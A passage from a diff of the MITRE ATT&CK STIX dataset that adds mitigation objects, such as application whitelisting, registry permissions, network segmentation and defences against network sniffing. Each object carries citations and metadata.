AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-24T19:50:39.777Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", + "type": "course-of-action", + "name": "Man in the Browser Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "external_references": [ + { + "external_id": "T1185", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1185" + } + ], + "modified": "2019-07-25T11:12:34.303Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Masquerading Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "external_references": [ + { + "external_id": "T1036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1036" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:12:58.607Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "type": "course-of-action", + "name": "Modify Existing Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", + "external_references": [ + { + "external_id": "T1031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1031" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-25T11:13:20.607Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Modify Registry Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "external_references": [ + { + "external_id": "T1112", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1112" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:13:41.482Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "course-of-action", + "name": "Mshta Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "external_references": [ + { + "external_id": "T1170", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1170" + } + ], + "modified": "2019-07-25T11:14:01.112Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Multi-Stage Channels Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52", + "external_references": [ + { + "external_id": "T1104", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1104" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T11:14:24.192Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", + "type": "course-of-action", + "name": "Multi-factor Authentication", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "external_references": [ + { + "external_id": "M1032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1032" + } + ], + "modified": "2019-06-10T20:53:36.319Z", + "x_mitre_version": "1.0", + "created": "2019-06-10T20:53:36.319Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", + "type": "course-of-action", + "name": "Multi-hop Proxy Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "external_references": [ + { + "external_id": "T1188", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1188" + } + ], + "modified": "2019-07-25T11:14:52.662Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Multiband Communication Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116", + "external_references": [ + { + "external_id": "T1026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1026" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T11:15:17.942Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Multilayer Encryption Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec", + "external_references": [ + { + "external_id": "T1079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1079" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T11:15:39.400Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "type": "course-of-action", + "name": "NTFS File Attributes Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", + "external_references": [ + { + "external_id": "T1096", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1096" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "InsiderThreat NTFS EA Oct 2017", + "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", + "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks" + } + ], + "modified": "2019-07-25T11:16:03.327Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", + "type": "course-of-action", + "name": "Netsh Helper DLL Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "external_references": [ + { + "external_id": "T1128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1128" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-25T11:16:27.620Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", + "type": "course-of-action", + "name": "Network Denial of Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", + "external_references": [ + { + "external_id": "T1498", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1498" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "modified": "2019-07-25T11:16:48.088Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-19T18:46:47.964Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use intrusion detection signatures to block traffic at network boundaries.", + "type": "course-of-action", + "name": "Network Intrusion Prevention", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "external_references": [ + { + "external_id": "M1031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1031" + } + ], + "modified": "2019-06-10T20:46:02.263Z", + "x_mitre_version": "1.0", + "created": "2019-06-10T20:46:02.263Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", + "type": "course-of-action", + "id": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Segmentation", + "external_references": [ + { + "external_id": "M1030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1030" + } + ], + "modified": "2019-06-10T20:41:03.271Z", + "x_mitre_version": "1.0", + "created": "2019-06-10T20:41:03.271Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Network Service Scanning Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "external_references": [ + { + "external_id": "T1046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1046" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:17:30.100Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Network Share Connection Removal Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "external_references": [ + { + "external_id": "T1126", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1126" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:17:52.019Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Network Share Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", + "external_references": [ + { + "external_id": "T1135", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1135" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:18:18.170Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Network Sniffing Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "external_references": [ + { + "external_id": "T1040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1040" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + 